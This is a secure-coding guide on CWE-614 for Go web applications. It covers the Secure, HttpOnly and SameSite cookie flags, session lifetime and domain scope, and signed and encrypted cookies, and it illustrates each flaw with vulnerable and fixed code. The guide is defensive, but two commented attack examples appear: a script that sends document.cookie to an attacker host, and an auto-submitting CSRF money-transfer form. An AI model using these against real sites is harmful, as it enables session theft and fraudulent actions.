Skip to content

CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute - Go

Overview

This finding is raised in Go applications when an authentication cookie, session token, or other sensitive value is set without the attributes that protect it from interception, tampering, or script access. Cookies carry session state for most Go web applications, so those attributes are what keeps the state private. Go's http.SetCookie() function sets cookies but provides no default security attributes - developers must explicitly configure Secure, HttpOnly, and SameSite flags.

The Secure flag ensures cookies are only transmitted over HTTPS, preventing interception on insecure networks. Without it, session cookies sent over HTTP can be captured by attackers performing man-in-the-middle attacks (coffee shop WiFi, compromised routers, ISP surveillance). The HttpOnly flag prevents JavaScript access to cookies, mitigating XSS-based session theft. SameSite controls whether cookies are sent on cross-site requests and provides CSRF defense-in-depth. Domain and Path attributes control where cookies are sent, with overly broad scopes enabling subdomain attacks.

Additional risks include excessive cookie lifetimes (long MaxAge or far-future Expires), storing sensitive data unencrypted in cookies, missing signature/integrity protection allowing cookie tampering, and incorrect domain settings enabling cookie theft via related domains. Cookies carrying personally identifiable information (PII), authentication tokens, or business-critical data raise the stakes further, because that data is itself regulated under regimes such as GDPR and CCPA.

Primary Defence: Set Secure: true on all authentication and session cookies - it is the fix for this finding and has no legitimate exception on an HTTPS site. Add HttpOnly: true for any cookie no page script needs to read. SameSite is chosen per flow, not set to Strict by default: use Strict only where nothing legitimate navigates in from another site, and Lax for OAuth/SSO callbacks and ordinary inbound links. Use short lifetimes (MaxAge of hours, not days/weeks), sign or encrypt cookies that carry data rather than an opaque key, and omit Domain unless subdomains genuinely need the cookie.

Common Vulnerable Patterns

Missing Secure Flag

// VULNERABLE - Cookie without Secure flag
package main

import (
    "net/http"
    "time"
)

func loginHandler(w http.ResponseWriter, r *http.Request) {
    username := r.FormValue("username")
    password := r.FormValue("password")

    if authenticate(username, password) {
        sessionID := generateSessionID()

        // DANGEROUS: Missing Secure flag
        http.SetCookie(w, &http.Cookie{
            Name:     "session_id",
            Value:    sessionID,
            Path:     "/",
            MaxAge:   3600,
            HttpOnly: true,
            // Missing: Secure: true
        })

        http.Redirect(w, r, "/dashboard", http.StatusSeeOther)
    }
}

// ATTACK:
// 1. User authenticates over HTTPS, receives session cookie
// 2. User clicks link to http:// page (accidentally or via attacker link)
// 3. Browser sends session cookie over unencrypted HTTP
// 4. Attacker on network captures cookie
// 5. Attacker hijacks session

Why this is vulnerable: Without Secure: true, browsers send cookies over both HTTP and HTTPS connections. Even if the application is HTTPS-only, mixed content (loading HTTP resources), user typos (typing http:// instead of https://), or attacker-controlled links can trigger HTTP requests. The browser automatically includes cookies in these requests, sending the session token in cleartext. Attackers on the network path (public WiFi, compromised router, malicious ISP) capture the cookie and gain full session access. Always set Secure: true for sensitive cookies.

Missing HttpOnly Flag

// VULNERABLE - JavaScript-accessible session cookie
func createSession(w http.ResponseWriter, userID string) {
    sessionToken := generateToken()

    http.SetCookie(w, &http.Cookie{
        Name:   "session",
        Value:  sessionToken,
        Secure: true,
        // Missing: HttpOnly: true
    })
}

// ATTACK (via XSS):
// <script>
//   fetch('https://attacker.com/steal?cookie=' + document.cookie);
// </script>
// Attacker steals session cookie and hijacks user account

Why this is vulnerable: Without HttpOnly: true, JavaScript can read cookies via document.cookie. If the application has an XSS vulnerability anywhere - reflected, stored, or DOM-based - attackers inject JavaScript that exfiltrates session cookies to a server they control. The attacker then uses the stolen session to impersonate the user. HttpOnly provides defense-in-depth - even if XSS vulnerabilities exist, session cookies remain protected. There's no legitimate reason for client-side JavaScript to access authentication cookies.

Missing SameSite Attribute

// VULNERABLE - No CSRF protection via SameSite
func setSessionCookie(w http.ResponseWriter, session string) {
    http.SetCookie(w, &http.Cookie{
        Name:     "session_id",
        Value:    session,
        Secure:   true,
        HttpOnly: true,
        // Missing: SameSite
    })
}

// ATTACK (CSRF):
// Attacker creates malicious site with:
// <form action="https://victim-site.com/transfer" method="POST">
//   <input name="amount" value="10000">
//   <input name="to_account" value="attacker">
// </form>
// <script>document.forms[0].submit();</script>
//
// When victim visits attacker site, browser sends session cookie
// Form submits, transfers money to attacker

Why this is vulnerable: Without an explicit SameSite policy, cookie behavior depends on browser defaults and compatibility rules. Modern browsers often default unspecified cookies to a Lax-like mode, but applications should not rely on implicit defaults. Attackers create malicious sites with forms or JavaScript that trigger requests to the victim application; if cookies are sent, the attacker can perform actions as the authenticated user. SameSite=Strict prevents cookies on cross-site requests. SameSite=Lax allows top-level safe-method navigations and blocks many cross-site state-changing requests, but it remains defense-in-depth rather than a replacement for CSRF tokens.

// VULNERABLE - Excessive cookie lifetime
func createLongLivedSession(w http.ResponseWriter, userID string) {
    sessionToken := generateToken()

    http.SetCookie(w, &http.Cookie{
        Name:     "session",
        Value:    sessionToken,
        Path:     "/",
        MaxAge:   86400 * 365, // DANGEROUS: 1 year
        Secure:   true,
        HttpOnly: true,
        SameSite: http.SameSiteStrictMode,
    })
}

// RISKS:
// 1. If cookie is stolen, attacker has access for up to 1 year
// 2. User logs out but cookie remains valid until expiry
// 3. Shared/public computers retain logged-in sessions
// 4. Harder to detect and revoke compromised sessions

Why this is vulnerable: Long-lived sessions increase the window of opportunity for session theft. If a cookie is stolen (XSS, network interception before HTTPS, malware), attackers have access for the entire MaxAge period. Users expect logout to end sessions, but client-side cookie expiry doesn't invalidate server-side sessions. On shared computers, long-lived cookies allow subsequent users to access accounts. Shorter lifetimes (1-24 hours) limit exposure - stolen cookies expire quickly, and server-side session validation can detect suspicious activity. For "remember me" functionality, use separate long-lived refresh tokens with additional security checks.

Insecure Domain Scope

// VULNERABLE - Overly broad domain scope
func setCookieWrongDomain(w http.ResponseWriter, token string) {
    http.SetCookie(w, &http.Cookie{
        Name:     "auth_token",
        Value:    token,
        Domain:   ".example.com", // DANGEROUS: Accessible to all subdomains
        Path:     "/",
        Secure:   true,
        HttpOnly: true,
    })
}

// ATTACK:
// If any subdomain of example.com is compromised:
// - attacker.example.com (attacker-registered subdomain)
// - old-app.example.com (legacy app with vulnerabilities)
// - staging.example.com (dev environment with weak security)
// Attacker can read/steal auth_token cookie

Why this is vulnerable: Setting Domain to a parent domain (.example.com) makes cookies accessible to all subdomains, so compromising any one of them exposes the auth cookie. Attackers can register subdomains if DNS is misconfigured, or exploit vulnerabilities in other applications on subdomains. The cookie is sent to all subdomains automatically, including those the developer isn't aware of. Unless subdomain sharing is explicitly required, omit the Domain attribute (defaults to exact host match) or set it to the specific subdomain.

Secure Patterns

// SECURE - Session cookie with all security attributes
package main

import (
    "crypto/rand"
    "encoding/base64"
    "io"
    "net/http"
)

func generateSecureSessionID() (string, error) {
    bytes := make([]byte, 32)
    if _, err := io.ReadFull(rand.Reader, bytes); err != nil {
        return "", err
    }
    return base64.URLEncoding.EncodeToString(bytes), nil
}

func createSecureSession(w http.ResponseWriter, userID string) error {
    sessionID, err := generateSecureSessionID()
    if err != nil {
        return err
    }

    // Store session server-side
    storeSession(sessionID, userID)

    // SECURE - Session cookie with all security attributes
    http.SetCookie(w, &http.Cookie{
        Name:     "session_id",
        Value:    sessionID,
        Path:     "/",
        MaxAge:   3600,                    // 1 hour
        Secure:   true,                    // HTTPS only
        HttpOnly: true,                    // No JavaScript access
        SameSite: http.SameSiteStrictMode, // CSRF defense-in-depth
        // Domain not set - defaults to exact host match
    })

    return nil
}

func storeSession(sessionID, userID string) {
    // Implementation: Redis, database, etc.
}

func authenticate(username, password string) bool {
    return true
}

func generateSessionID() string {
    return "session_123"
}

func generateToken() string {
    return "token_123"
}

Why this works: All security attributes are set correctly. Secure: true prevents transmission over HTTP. HttpOnly: true blocks JavaScript access, mitigating XSS-based theft. SameSite: http.SameSiteStrictMode reduces CSRF exposure by not sending cookies with cross-site requests. MaxAge: 3600 limits session lifetime to 1 hour, reducing exposure window. Path: "/" scopes cookie to the application. Domain is omitted, defaulting to exact hostname match. The session ID is cryptographically random with high entropy. Session data is stored server-side, with only the random ID in the cookie.

SameSite=Lax for Better UX

// SECURE - SameSite=Lax for link compatibility
func createSessionWithLax(w http.ResponseWriter, userID string) error {
    sessionID, err := generateSecureSessionID()
    if err != nil {
        return err
    }

    storeSession(sessionID, userID)

    http.SetCookie(w, &http.Cookie{
        Name:     "session_id",
        Value:    sessionID,
        Path:     "/",
        MaxAge:   7200, // 2 hours
        Secure:   true,
        HttpOnly: true,
        SameSite: http.SameSiteLaxMode, // Allow top-level navigation
    })

    return nil
}

Why this works: SameSite=Lax reduces CSRF exposure while allowing cookies on top-level safe-method navigations such as users clicking external links. This blocks many cross-site POST form attacks while preserving common entry flows. State-changing operations (POST, PUT, DELETE, PATCH) still require CSRF tokens or equivalent request validation. Use Strict for high-security applications where cross-site navigation with cookies is not needed.

// SECURE - Signed cookie to prevent tampering
import (
    "crypto/hmac"
    "crypto/sha256"
    "encoding/base64"
    "encoding/json"
    "fmt"
    "net/http"
    "strings"
    "time"
)

var cookieSecret = []byte("your-secret-key-minimum-32-bytes-long")

type UserData struct {
    UserID   string    `json:"user_id"`
    Username string    `json:"username"`
    IssuedAt time.Time `json:"issued_at"`
}

func createSignedCookie(w http.ResponseWriter, userData *UserData) error {
    // Serialize user data
    data, err := json.Marshal(userData)
    if err != nil {
        return err
    }

    // Base64 encode
    encoded := base64.URLEncoding.EncodeToString(data)

    // SECURE - Generate HMAC signature
    mac := hmac.New(sha256.New, cookieSecret)
    mac.Write([]byte(encoded))
    signature := base64.URLEncoding.EncodeToString(mac.Sum(nil))

    // Combine: data.signature
    cookieValue := encoded + "." + signature

    http.SetCookie(w, &http.Cookie{
        Name:     "user_data",
        Value:    cookieValue,
        Path:     "/",
        MaxAge:   3600,
        Secure:   true,
        HttpOnly: true,
        SameSite: http.SameSiteStrictMode,
    })

    return nil
}

func verifySignedCookie(r *http.Request) (*UserData, error) {
    cookie, err := r.Cookie("user_data")
    if err != nil {
        return nil, err
    }

    // Split data and signature
    parts := strings.Split(cookie.Value, ".")
    if len(parts) != 2 {
        return nil, fmt.Errorf("invalid cookie format")
    }

    encoded, providedSig := parts[0], parts[1]

    // SECURE - Verify HMAC signature
    mac := hmac.New(sha256.New, cookieSecret)
    mac.Write([]byte(encoded))
    expectedSig := base64.URLEncoding.EncodeToString(mac.Sum(nil))

    // Constant-time comparison
    if !hmac.Equal([]byte(expectedSig), []byte(providedSig)) {
        return nil, fmt.Errorf("signature verification failed")
    }

    // Decode data
    data, err := base64.URLEncoding.DecodeString(encoded)
    if err != nil {
        return nil, err
    }

    // Unmarshal
    var userData UserData
    if err := json.Unmarshal(data, &userData); err != nil {
        return nil, err
    }

    // Check expiry
    if time.Since(userData.IssuedAt) > time.Hour {
        return nil, fmt.Errorf("cookie expired")
    }

    return &userData, nil
}

Why this works: HMAC-SHA256 signature ensures cookie integrity - any tampering invalidates the signature. Users cannot modify data (like changing user_id to access other accounts) without the secret key. The signature is verified using constant-time comparison to prevent timing attacks. Including IssuedAt timestamp enables server-side expiration checks beyond browser MaxAge. This pattern allows storing limited data client-side while maintaining security. The secret key must come from a secrets manager, or be injected into the process environment at start-up rather than kept there - see CWE-526. For sensitive data, use authenticated encryption instead of just signing.

// SECURE - Encrypted cookie for sensitive data
import (
    "crypto/aes"
    "crypto/cipher"
    "crypto/rand"
    "encoding/base64"
    "encoding/hex"
    "fmt"
    "io"
    "net/http"
    "os"
)

// Load from a secrets manager or environment variable. aes.NewCipher accepts
// only 16, 24 or 32 bytes - a "looks about right" string literal fails at run
// time, not at compile time.
var encryptionKey = mustKey(os.Getenv("COOKIE_ENCRYPTION_KEY"))

func mustKey(hexKey string) []byte {
    key, err := hex.DecodeString(hexKey)
    if err != nil || len(key) != 32 {
        panic("COOKIE_ENCRYPTION_KEY must be 64 hex characters (32 bytes)")
    }
    return key
}

func createEncryptedCookie(w http.ResponseWriter, data []byte) error {
    // SECURE - Encrypt with AES-256-GCM
    block, err := aes.NewCipher(encryptionKey)
    if err != nil {
        return err
    }

    gcm, err := cipher.NewGCM(block)
    if err != nil {
        return err
    }

    nonce := make([]byte, gcm.NonceSize())
    if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
        return err
    }

    // Encrypt and authenticate
    ciphertext := gcm.Seal(nonce, nonce, data, nil)

    // Encode for cookie
    encoded := base64.URLEncoding.EncodeToString(ciphertext)

    http.SetCookie(w, &http.Cookie{
        Name:     "encrypted_data",
        Value:    encoded,
        Path:     "/",
        MaxAge:   3600,
        Secure:   true,
        HttpOnly: true,
        SameSite: http.SameSiteStrictMode,
    })

    return nil
}

func readEncryptedCookie(r *http.Request) ([]byte, error) {
    cookie, err := r.Cookie("encrypted_data")
    if err != nil {
        return nil, err
    }

    // Decode
    ciphertext, err := base64.URLEncoding.DecodeString(cookie.Value)
    if err != nil {
        return nil, err
    }

    // Decrypt
    block, err := aes.NewCipher(encryptionKey)
    if err != nil {
        return nil, err
    }

    gcm, err := cipher.NewGCM(block)
    if err != nil {
        return nil, err
    }

    nonceSize := gcm.NonceSize()
    if len(ciphertext) < nonceSize {
        return nil, fmt.Errorf("ciphertext too short")
    }

    nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]

    // SECURE - Decrypt and verify authentication tag
    plaintext, err := gcm.Open(nil, nonce, ciphertext, nil)
    if err != nil {
        return nil, fmt.Errorf("decryption failed: %w", err)
    }

    return plaintext, nil
}

Why this works: AES-256-GCM provides both confidentiality (encryption) and integrity (authentication). Cookie contents are hidden from the user, and the authentication tag prevents tampering - any modification makes decryption fail. Random nonces ensure identical data encrypts to different ciphertexts each time. This is essential for PII, sensitive business data, or any information that must remain confidential even if cookies are intercepted. The encryption key must be 32 bytes, stored securely, and rotated periodically.

Remember Me Token with Additional Security

// SECURE - Remember me token with device binding
import (
    "crypto/rand"
    "crypto/sha256"
    "encoding/base64"
    "fmt"
    "io"
    "net"
    "net/http"
    "time"
)

type RememberMeToken struct {
    TokenHash  string
    UserID     string
    DeviceHash string
    CreatedAt  time.Time
    ExpiresAt  time.Time
}

func createRememberMeToken(w http.ResponseWriter, r *http.Request, userID string) error {
    // Generate secure random token
    tokenBytes := make([]byte, 32)
    if _, err := io.ReadFull(rand.Reader, tokenBytes); err != nil {
        return err
    }
    token := base64.URLEncoding.EncodeToString(tokenBytes)

    // SECURE - Bind to the client, using only stable inputs
    deviceHash := sha256.Sum256([]byte(clientFingerprint(r)))

    // Hash token before storing
    tokenHash := sha256.Sum256([]byte(token))

    // Store in database
    rememberMe := &RememberMeToken{
        TokenHash:  base64.URLEncoding.EncodeToString(tokenHash[:]),
        UserID:     userID,
        DeviceHash: base64.URLEncoding.EncodeToString(deviceHash[:]),
        CreatedAt:  time.Now(),
        ExpiresAt:  time.Now().Add(30 * 24 * time.Hour), // 30 days
    }
    storeRememberMeToken(rememberMe)

    // SECURE - Set long-lived cookie with security attributes
    http.SetCookie(w, &http.Cookie{
        Name:     "remember_me",
        Value:    token,
        Path:     "/",
        MaxAge:   30 * 86400, // 30 days
        Secure:   true,
        HttpOnly: true,
        SameSite: http.SameSiteLaxMode,
    })

    return nil
}

func validateRememberMeToken(r *http.Request) (string, error) {
    cookie, err := r.Cookie("remember_me")
    if err != nil {
        return "", err
    }

    // Hash provided token
    tokenHash := sha256.Sum256([]byte(cookie.Value))
    tokenHashStr := base64.URLEncoding.EncodeToString(tokenHash[:])

    // Lookup in database
    rememberMe := getRememberMeToken(tokenHashStr)
    if rememberMe == nil {
        return "", fmt.Errorf("invalid token")
    }

    // Check expiry
    if time.Now().After(rememberMe.ExpiresAt) {
        deleteRememberMeToken(tokenHashStr)
        return "", fmt.Errorf("token expired")
    }

    // SECURE - Verify device fingerprint
    deviceHash := sha256.Sum256([]byte(clientFingerprint(r)))
    deviceHashStr := base64.URLEncoding.EncodeToString(deviceHash[:])

    if deviceHashStr != rememberMe.DeviceHash {
        // Device mismatch - possible token theft
        deleteRememberMeToken(tokenHashStr)
        return "", fmt.Errorf("device mismatch")
    }

    return rememberMe.UserID, nil
}

// clientFingerprint must be built from values that survive between requests.
// r.RemoteAddr is "host:port" and the ephemeral port changes on every
// connection, so hashing it whole produces a value that never matches again.
func clientFingerprint(r *http.Request) string {
    host, _, err := net.SplitHostPort(r.RemoteAddr)
    if err != nil {
        host = r.RemoteAddr
    }
    return r.UserAgent() + "|" + host
}

func storeRememberMeToken(token *RememberMeToken)     {}
func getRememberMeToken(hash string) *RememberMeToken { return nil }
func deleteRememberMeToken(hash string)               {}

Why this works: Remember me tokens are long-lived (30 days) but have additional security measures. Tokens are hashed before database storage (like passwords), protecting against database breaches. Server-side expiry checking ensures tokens can be revoked, and a mismatch deletes the record rather than just refusing it, so a token used from an unexpected client cannot be retried. This balances convenience (users stay logged in) with security (limited exposure if tokens are stolen). For high-security applications, consider using refresh tokens with shorter-lived access tokens instead.

Device binding is the part to get right or leave out, because both failure modes are silent. Every input to the fingerprint has to be stable across requests: r.RemoteAddr is host:port, and the ephemeral port is different on every connection, so hashing it whole makes the comparison fail for the legitimate user on their very next request - and because a mismatch deletes the record, every auto-login fails and logs the user out permanently. Splitting the host off fixes that, but the client IP still changes legitimately when a phone moves between Wi-Fi and cellular or a corporate NAT pool rotates. Behind a reverse proxy it is worse: RemoteAddr is the proxy, identical for every user, so the check passes for everyone and binds nothing. Decide deliberately whether to include the IP, and if the answer is no, bind on token rotation instead - issue a fresh token on each use and treat a reused old token as evidence of theft.

Framework-Specific Guidance

Gorilla Sessions Secure Configuration

// SECURE - Gorilla sessions with security best practices
package main

import (
    "encoding/hex"
    "log"
    "net/http"
    "os"

    "github.com/gorilla/sessions"
)

var store *sessions.CookieStore

func init() {
    // SECURE - Load keys from the environment. The encryption key is handed to
    // crypto/aes, which accepts only 16, 24 or 32 bytes - a descriptive string
    // literal is almost never one of those, and the length is not checked until
    // the first session is saved.
    authKey := mustKey("SESSION_AUTH_KEY", 32)  // HMAC-SHA256 key
    encKey := mustKey("SESSION_ENC_KEY", 32)    // AES-256 key

    store = sessions.NewCookieStore(authKey, encKey)

    // SECURE - Configure session options
    store.Options = &sessions.Options{
        Path:     "/",
        MaxAge:   3600,                    // 1 hour
        Secure:   true,                    // HTTPS only
        HttpOnly: true,                    // No JavaScript
        SameSite: http.SameSiteStrictMode, // CSRF defense-in-depth
    }
}

func mustKey(env string, want int) []byte {
    key, err := hex.DecodeString(os.Getenv(env))
    if err != nil || len(key) != want {
        log.Fatalf("%s must be %d hex-encoded bytes", env, want)
    }
    return key
}

func loginWithGorillaHandler(w http.ResponseWriter, r *http.Request) {
    session, err := store.Get(r, "session-name")
    if err != nil {
        http.Error(w, "Session error", http.StatusInternalServerError)
        return
    }

    // SECURE - Store user ID in encrypted, signed session
    session.Values["user_id"] = "user123"
    session.Values["authenticated"] = true

    // Save session
    if err := session.Save(r, w); err != nil {
        http.Error(w, "Failed to save session", http.StatusInternalServerError)
        return
    }

    w.Write([]byte("Logged in"))
}

Why this works: Gorilla sessions provides automatic cookie encryption (AES) and signing (HMAC) when both keys are provided. The authKey signs cookies to detect tampering. The encKey encrypts cookie contents. store.Options sets security attributes globally for all sessions. Session data is stored encrypted in cookies, preventing client-side reading or modification. This provides secure client-side session storage without a backend store.

The key length check is not decoration. NewCookieStore does not validate the encryption key - securecookie passes it to aes.NewCipher when the first session is saved, and a key that is not exactly 16, 24 or 32 bytes fails there. session.Save then returns securecookie: error - caused by: crypto/aes: invalid key size, no Set-Cookie is written, and a handler that ignores the error from Save responds 200 with no session at all. Validating at startup turns that into a boot failure instead of a login flow that silently never persists anything.

Considerations

Which cookies this finding is about. Session identifiers, authentication and remember-me tokens, CSRF tokens, and anything carrying user identity need the full attribute set. A cookie holding a UI preference does not, and recording it as a false positive with the reason is a legitimate outcome.

Secure is unconditional in Go, and that is the right default. Unlike the policy-driven frameworks, http.Cookie{Secure: true} always emits the attribute - Go never derives it from r.TLS. Resist adding that derivation for local development: r.TLS describes the connection this process accepted, so behind a TLS-terminating proxy it is nil for every request and the flag disappears in production while working locally. If development over plain HTTP is needed, gate on an explicit environment flag rather than on the request.

SameSiteStrictMode versus SameSiteLaxMode. Strict withholds the cookie on every cross-site request, including a user arriving from an email link or an identity provider's redirect - they land signed out. Lax still withholds it from cross-site POSTs and subresource loads, which is the CSRF-relevant part. Use Lax for any cookie a cross-site navigation must carry, OAuth and SSO state included, and note that SameSiteNoneMode requires Secure: true or browsers reject the cookie outright.

Signing and encryption are a different weakness. The HMAC and AES-GCM patterns above address tampering and confidentiality of cookie contents (CWE-565 and CWE-311). They do not substitute for Secure: an encrypted blob sent over plaintext HTTP is still captured and still replayable. Apply both where cookie contents carry data rather than an opaque server-side key.

Testing

  • Assert the Set-Cookie header on a real response rather than reading the struct literal: httptest.NewRecorder() plus rec.Result().Cookies() shows what actually reaches the wire, including cookies written by middleware the handler does not know about.
  • After signing in, request over plain HTTP and assert the browser sends no session cookie in the request. Secure governs what the browser transmits, not what the server writes.
  • If a fingerprint or binding is used, assert that a second request from the same client succeeds. Anything derived from r.RemoteAddr needs the port split off first, and a binding that never matches rejects every legitimate user while passing any test that only checks that forged tokens fail.
  • Save a session through gorilla/sessions and assert session.Save returns nil. Key-length errors surface only there, and a handler that discards the error answers 200 with no Set-Cookie at all.

Common Pitfalls

  • Setting Secure: true on the primary http.Cookie written by the login handler, while a session library configured separately (e.g., gorilla/sessions with its own sessions.Options) issues a different cookie that doesn't inherit the handler's settings - Go has no application-wide cookie-security default, so every http.Cookie/Options struct needs the flag set on its own.
  • Deriving Secure from r.TLS != nil when the app sits behind a reverse proxy that terminates TLS - r.TLS reflects the connection between the proxy and the Go process, which is typically plaintext, so this check is false even though the client's connection was HTTPS, and the cookie is issued without Secure.
  • Assuming gorilla/sessions' encrypted/signed cookie store makes the Secure flag unnecessary - the auth/encryption keys protect the cookie's contents from tampering and reading, but an unencrypted transport still exposes the encoded blob to interception and replay; Options.Secure must be set on the store in addition to providing the keys.

Additional Resources